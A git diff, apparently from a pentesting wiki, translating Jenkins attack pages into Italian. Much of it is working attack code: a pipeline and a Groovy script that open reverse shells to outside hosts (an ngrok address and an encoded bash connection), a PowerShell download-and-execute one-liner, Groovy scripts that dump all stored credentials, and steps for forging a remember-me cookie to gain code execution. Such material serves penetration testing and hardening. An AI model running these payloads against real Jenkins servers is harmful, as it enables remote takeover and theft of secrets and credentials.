-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **Chiunque può fare qualsiasi cosa**: Anche l'accesso anonimo può amministrare il server.
+- **Modalità legacy**: Stessa di Jenkins <1.164. Se hai il **ruolo "admin"**, ti verrà concesso **il pieno controllo** sul sistema, e **altrimenti** (inclusi gli utenti **anonimi**) avrai accesso **in lettura**.
+- **Gli utenti autenticati possono fare qualsiasi cosa**: In questa modalità, ogni **utente autenticato ottiene il pieno controllo** di Jenkins. L'unico utente che non avrà pieno controllo è l'**utente anonimo**, che ottiene solo accesso **in lettura**.
+- **Sicurezza basata su matrice**: Puoi configurare **chi può fare cosa** in una tabella. Ogni **colonna** rappresenta un **permesso**. Ogni **riga** **rappresenta** un **utente o un gruppo/ruolo.** Questo include un utente speciale '**anonimo**', che rappresenta **utenti non autenticati**, così come '**autenticato**', che rappresenta **tutti gli utenti autenticati**.
.png>)
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **Strategia di autorizzazione basata su matrice per progetti:** Questa modalità è un'**estensione** della "**sicurezza basata su matrice**" che consente di **definire matrici ACL aggiuntive per ogni progetto separatamente.**
+- **Strategia basata su ruoli:** Consente di definire autorizzazioni utilizzando una **strategia basata su ruoli**. Gestisci i ruoli in `/role-strategy`.
-## **Security Realm**
+## **Realm di Sicurezza**
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+In `/configureSecurity` è possibile **configurare il realm di sicurezza.** Per impostazione predefinita, Jenkins include supporto per alcuni diversi Realms di Sicurezza:
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Delegare al contenitore servlet**: Per **delegare l'autenticazione a un contenitore servlet che esegue il controller Jenkins**, come [Jetty](https://www.eclipse.org/jetty/).
+- **Database utenti di Jenkins:** Usa **il proprio archivio dati utenti integrato di Jenkins** per l'autenticazione invece di delegare a un sistema esterno. Questo è abilitato per impostazione predefinita.
+- **LDAP**: Delega tutta l'autenticazione a un server LDAP configurato, inclusi sia utenti che gruppi.
+- **Database utenti/gruppi Unix**: **Delega l'autenticazione al database utenti** a livello di OS Unix sottostante sul controller Jenkins. Questa modalità consentirà anche il riutilizzo dei gruppi Unix per l'autorizzazione.
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+I plugin possono fornire ulteriori realm di sicurezza che possono essere utili per incorporare Jenkins in sistemi di identità esistenti, come:
- [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [Autenticazione GitHub](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
-## Jenkins Nodes, Agents & Executors
+## Nodii, Agenti e Esecutori di Jenkins
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+Definizioni dalla [documentazione](https://www.jenkins.io/doc/book/managing/nodes/):
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**Nodi** sono le **macchine** su cui i **client di build** vengono eseguiti. Jenkins monitora ogni nodo collegato per spazio su disco, spazio temporaneo libero, swap libero, tempo/sincronizzazione dell'orologio e tempo di risposta. Un nodo viene messo offline se uno di questi valori supera la soglia configurata.
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**Agenti** **gestiscono** l'**esecuzione dei compiti** per conto del controller Jenkins utilizzando **esecutori**. Un agente può utilizzare qualsiasi sistema operativo che supporti Java. Gli strumenti necessari per le build e i test sono installati sul nodo in cui l'agente viene eseguito; possono **essere installati direttamente o in un contenitore** (Docker o Kubernetes). Ogni **agente è effettivamente un processo con il proprio PID** sulla macchina host.
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+Un **esecutore** è uno **slot per l'esecuzione di compiti**; effettivamente, è **un thread nell'agente**. Il **numero di esecutori** su un nodo definisce il numero di **compiti concorrenti** che possono essere eseguiti su quel nodo in un dato momento. In altre parole, questo determina il **numero di `stages` Pipeline concorrenti** che possono essere eseguiti su quel nodo in un dato momento.
-## Jenkins Secrets
+## Segreti di Jenkins
-### Encryption of Secrets and Credentials
+### Crittografia di Segreti e Credenziali
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+Definizione dalla [documentazione](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins utilizza **AES per crittografare e proteggere segreti**, credenziali e le rispettive chiavi di crittografia. Queste chiavi di crittografia sono memorizzate in `$JENKINS_HOME/secrets/` insieme alla chiave master utilizzata per proteggere tali chiavi. Questa directory dovrebbe essere configurata in modo che solo l'utente del sistema operativo con cui viene eseguito il controller Jenkins abbia accesso in lettura e scrittura a questa directory (cioè, un valore `chmod` di `0700` o utilizzando attributi di file appropriati). La **chiave master** (a volte chiamata "chiave di crittografia" nel gergo crittografico) è **memorizzata \_non crittografata\_** nel filesystem del controller Jenkins in **`$JENKINS_HOME/secrets/master.key`** che non protegge contro gli attaccanti con accesso diretto a quel file. La maggior parte degli utenti e degli sviluppatori utilizzerà queste chiavi di crittografia indirettamente tramite l'API [Secret](https://javadoc.jenkins.io/byShortName/Secret) per crittografare dati segreti generici o tramite l'API delle credenziali. Per i curiosi della crittografia, Jenkins utilizza AES in modalità di blocco di crittografia a catena (CBC) con padding PKCS#5 e IV casuali per crittografare istanze di [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) che sono memorizzate in `$JENKINS_HOME/secrets/` con un nome file corrispondente al loro id `CryptoConfidentialKey`. Gli id di chiave comuni includono:
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`: utilizzato per segreti generici;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: utilizzato per alcuni tipi di credenziali;
+- `jenkins.model.Jenkins.crumbSalt`: utilizzato dal [meccanismo di protezione CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); e
-### Credentials Access
+### Accesso alle Credenziali
-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project.
+Le credenziali possono essere **scoperta a fornitori globali** (`/credentials/`) che possono essere accessibili da qualsiasi progetto configurato, o possono essere scoperte a **progetti specifici** (`/job//configure`) e quindi accessibili solo dal progetto specifico.
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+Secondo [**la documentazione**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Le credenziali che sono in ambito sono rese disponibili alla pipeline senza limitazioni. Per **prevenire esposizioni accidentali nel log di build**, le credenziali sono **mascherate** dall'output regolare, quindi un'invocazione di `env` (Linux) o `set` (Windows), o programmi che stampano il loro ambiente o parametri non **rivelerebbero le credenziali nel log di build** a utenti che altrimenti non avrebbero accesso alle credenziali.
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**Ecco perché, per esfiltrare le credenziali, un attaccante deve, ad esempio, codificarle in base64.**
-## References
+## Riferimenti
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..be7da4a71 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+In questo post del blog è possibile trovare un ottimo modo per trasformare una vulnerabilità di Local File Inclusion in Jenkins in RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+Questo è un riassunto creato dall'AI della parte del post in cui l'artefatto di un cookie arbitrario viene abusato per ottenere RCE abusando di una lettura di file locale fino a quando non ho tempo per creare un riassunto da solo:
### Attack Prerequisites
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Feature Requirement:** "Ricordami" deve essere abilitato (impostazione predefinita).
+- **Access Levels:** L'attaccante ha bisogno di permessi Overall/Read.
+- **Secret Access:** Capacità di leggere sia contenuti binari che testuali da file chiave.
### Detailed Exploitation Process
@@ -18,92 +18,88 @@ This is an AI created summary of the part of the post were the creaft of an arbi
**User Information Retrieval**
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- - **Username**
- - **User seed**
- - **Timestamp**
- - **Password hash**
+- Accedi alla configurazione utente e ai segreti da `$JENKINS_HOME/users/*.xml` per ciascun utente per raccogliere:
+- **Nome utente**
+- **Seed utente**
+- **Timestamp**
+- **Hash della password**
**Secret Key Extraction**
-- Extract cryptographic keys used for signing the cookie:
- - **Secret Key:** `$JENKINS_HOME/secret.key`
- - **Master Key:** `$JENKINS_HOME/secrets/master.key`
- - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- Estrai le chiavi crittografiche utilizzate per firmare il cookie:
+- **Chiave segreta:** `$JENKINS_HOME/secret.key`
+- **Chiave master:** `$JENKINS_HOME/secrets/master.key`
+- **File chiave MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
**Token Preparation**
-- **Calculate Token Expiry Time:**
+- **Calcola il tempo di scadenza del token:**
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Aggiunge un'ora all'ora attuale
+```
-- **Concatenate Data for Token:**
+- **Concatena i dati per il token:**
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
**MAC Key Decryption**
-- **Decrypt MAC Key File:**
+- **Decripta il file chiave MAC:**
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
+```javascript
+key = toAes128Key(masterKey) // Converti la chiave master nel formato chiave AES128
+decrypted = AES.decrypt(macFile, key) // Decripta il file .mac
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
**Signature Computation**
-- **Compute HMAC SHA256:**
+- **Calcola HMAC SHA256:**
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
+```javascript
+mac = HmacSHA256(token, macKey) // Calcola HMAC utilizzando il token e la chiave MAC
+tokenSignature = bytesToHexString(mac) // Converti la MAC in una stringa esadecimale
+```
**Cookie Encoding**
-- **Generate Final Cookie:**
+- **Genera il cookie finale:**
- ```javascript
- cookie = base64.encode(
- username + ":" + tokenExpiryTime + ":" + tokenSignature
- ) // Base64 encode the cookie data
- ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // Codifica in Base64 i dati del cookie
+```
#### Step 3: Code Execution
**Session Authentication**
-- **Fetch CSRF and Session Tokens:**
- - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **Recupera i token CSRF e di sessione:**
+- Fai una richiesta a `/crumbIssuer/api/json` per ottenere `Jenkins-Crumb`.
+- Cattura `JSESSIONID` dalla risposta, che sarà utilizzato insieme al cookie "remember-me".
**Command Execution Request**
-- **Send a POST Request with Groovy Script:**
+- **Invia una richiesta POST con uno script Groovy:**
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
- - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- Lo script Groovy può essere utilizzato per eseguire comandi a livello di sistema o altre operazioni all'interno dell'ambiente Jenkins.
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+L'esempio di comando curl fornito dimostra come effettuare una richiesta a Jenkins con le intestazioni e i cookie necessari per eseguire codice arbitrario in modo sicuro.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..d22741e5c 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> Nota che questi script elencheranno solo i segreti all'interno del file `credentials.xml`, ma **i file di configurazione della build** potrebbero avere anche **ulteriori credenziali**.
+Puoi **estrarre tutti i segreti dalla console dello script Groovy** in `/script` eseguendo questo codice
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
-
-#### or this one:
-
+#### o questo:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
- com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
- println(c.id)
- if (c.properties.description) {
- println(" description: " + c.description)
- }
- if (c.properties.username) {
- println(" username: " + c.username)
- }
- if (c.properties.password) {
- println(" password: " + c.password)
- }
- if (c.properties.passphrase) {
- println(" passphrase: " + c.passphrase)
- }
- if (c.properties.secret) {
- println(" secret: " + c.secret)
- }
- if (c.properties.secretBytes) {
- println(" secretBytes: ")
- println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
- println("")
- }
- if (c.properties.privateKeySource) {
- println(" privateKey: " + c.getPrivateKey())
- }
- if (c.properties.apiToken) {
- println(" apiToken: " + c.apiToken)
- }
- if (c.properties.token) {
- println(" token: " + c.token)
- }
- println("")
+println(c.id)
+if (c.properties.description) {
+println(" description: " + c.description)
+}
+if (c.properties.username) {
+println(" username: " + c.username)
+}
+if (c.properties.password) {
+println(" password: " + c.password)
+}
+if (c.properties.passphrase) {
+println(" passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println(" secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println(" secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println(" privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println(" apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println(" token: " + c.token)
+}
+println("")
}
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..bb6c20b98 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,43 +1,37 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Creazione/Modifica Pipeline
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## Creazione di una nuova Pipeline
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+In "Nuovo Elemento" (accessibile in `/view/all/newJob`) seleziona **Pipeline:**
.png>)
-In the **Pipeline section** write the **reverse shell**:
+Nella **sezione Pipeline** scrivi il **reverse shell**:
.png>)
-
```groovy
pipeline {
- agent any
+agent any
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
}
```
-
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Infine, fai clic su **Salva** e **Esegui ora** e la pipeline verrà eseguita:
.png>)
-## Modifying a Pipeline
+## Modificare una Pipeline
-If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
+Se puoi accedere al file di configurazione di una pipeline configurata, puoi semplicemente **modificarlo aggiungendo il tuo reverse shell** e poi eseguirlo o aspettare che venga eseguito.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..65b02b876 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,40 +1,36 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Creazione/Modifica Progetto
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Creazione di un Progetto
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+Questo metodo è molto rumoroso perché devi creare un nuovo progetto (ovviamente questo funzionerà solo se l'utente è autorizzato a creare un nuovo progetto).
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
+1. **Crea un nuovo progetto** (progetto Freestyle) cliccando su "Nuovo Elemento" o in `/view/all/newJob`
+2. All'interno della sezione **Build** imposta **Esegui shell** e incolla un lanciatore di powershell Empire o un powershell di meterpreter (può essere ottenuto usando _unicorn_). Avvia il payload con _PowerShell.exe_ invece di usare _powershell._
+3. Clicca su **Build now**
+1. Se il pulsante **Build now** non appare, puoi comunque andare su **configura** --> **Trigger di Build** --> `Build periodically` e impostare un cron di `* * * * *`
+2. Invece di usare cron, puoi usare la configurazione "**Trigger builds remotely**" dove devi solo impostare il nome del token API per attivare il lavoro. Poi vai al tuo profilo utente e **genera un token API** (chiama questo token API come hai chiamato il token API per attivare il lavoro). Infine, attiva il lavoro con: **`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## Modifica di un Progetto
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+Vai ai progetti e controlla **se puoi configurare uno** di essi (cerca il "pulsante Configura"):
.png>)
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+Se **non puoi** vedere alcun **pulsante di configurazione** allora **non puoi** **configurarlo** probabilmente (ma controlla tutti i progetti poiché potresti essere in grado di configurarne alcuni e non altri).
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+Oppure **prova ad accedere al percorso** `/job//configure` o `/me/my-views/view/all/job//configure` \_\_ in ciascun progetto (esempio: `/job/Project0/configure` o `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Esecuzione
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+Se ti è permesso configurare il progetto puoi **farlo eseguire comandi quando un build ha successo**:
.png>)
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+Clicca su **Salva** e **build** il progetto e il tuo **comando verrà eseguito**.\
+Se non stai eseguendo una reverse shell ma un semplice comando puoi **vedere l'output del comando all'interno dell'output del build**.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..32c3a04d0 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -1,27 +1,24 @@
-# Jenkins RCE with Groovy Script
+# Jenkins RCE con Groovy Script
{{#include ../../banners/hacktricks-training.md}}
-## Jenkins RCE with Groovy Script
+## Jenkins RCE con Groovy Script
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+Questo è meno rumoroso che creare un nuovo progetto in Jenkins
+1. Vai a _path_jenkins/script_
+2. All'interno della casella di testo inserisci lo script
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
+Puoi eseguire un comando usando: `cmd.exe /c dir`
-You could execute a command using: `cmd.exe /c dir`
+In **linux** puoi fare: **`"ls /".execute().text`**
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+Se hai bisogno di usare _virgolette_ e _virgolette singole_ all'interno del testo. Puoi usare _"""PAYLOAD"""_ (triple double quotes) per eseguire il payload.
+**Un altro script groovy utile** è (sostituisci \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
### Reverse shell in linux
-
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
### Reverse shell in windows
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+Puoi preparare un server HTTP con una PS reverse shell e utilizzare Jeking per scaricarlo ed eseguirlo:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-
### Script
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+Puoi automatizzare questo processo con [**questo script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
+Puoi usare MSF per ottenere una reverse shell:
```
msf> use exploit/multi/http/jenkins_script_console
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..9aaee817f 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -1,118 +1,110 @@
-# Okta Security
+# Sicurezza di Okta
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Informazioni di base
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/) è riconosciuta nel settore della gestione dell'identità e degli accessi per le sue soluzioni software basate su cloud. Queste soluzioni sono progettate per semplificare e garantire l'autenticazione degli utenti attraverso varie applicazioni moderne. Si rivolgono non solo alle aziende che mirano a proteggere i propri dati sensibili, ma anche agli sviluppatori interessati a integrare controlli di identità nelle applicazioni, nei servizi web e nei dispositivi.
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+L'offerta principale di Okta è il **Okta Identity Cloud**. Questa piattaforma comprende una suite di prodotti, tra cui, ma non solo:
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **Single Sign-On (SSO)**: Semplifica l'accesso degli utenti consentendo un unico set di credenziali di accesso per più applicazioni.
+- **Multi-Factor Authentication (MFA)**: Migliora la sicurezza richiedendo più forme di verifica.
+- **Lifecycle Management**: Automatizza i processi di creazione, aggiornamento e disattivazione degli account utente.
+- **Universal Directory**: Consente la gestione centralizzata di utenti, gruppi e dispositivi.
+- **API Access Management**: Sicurezza e gestione dell'accesso alle API.
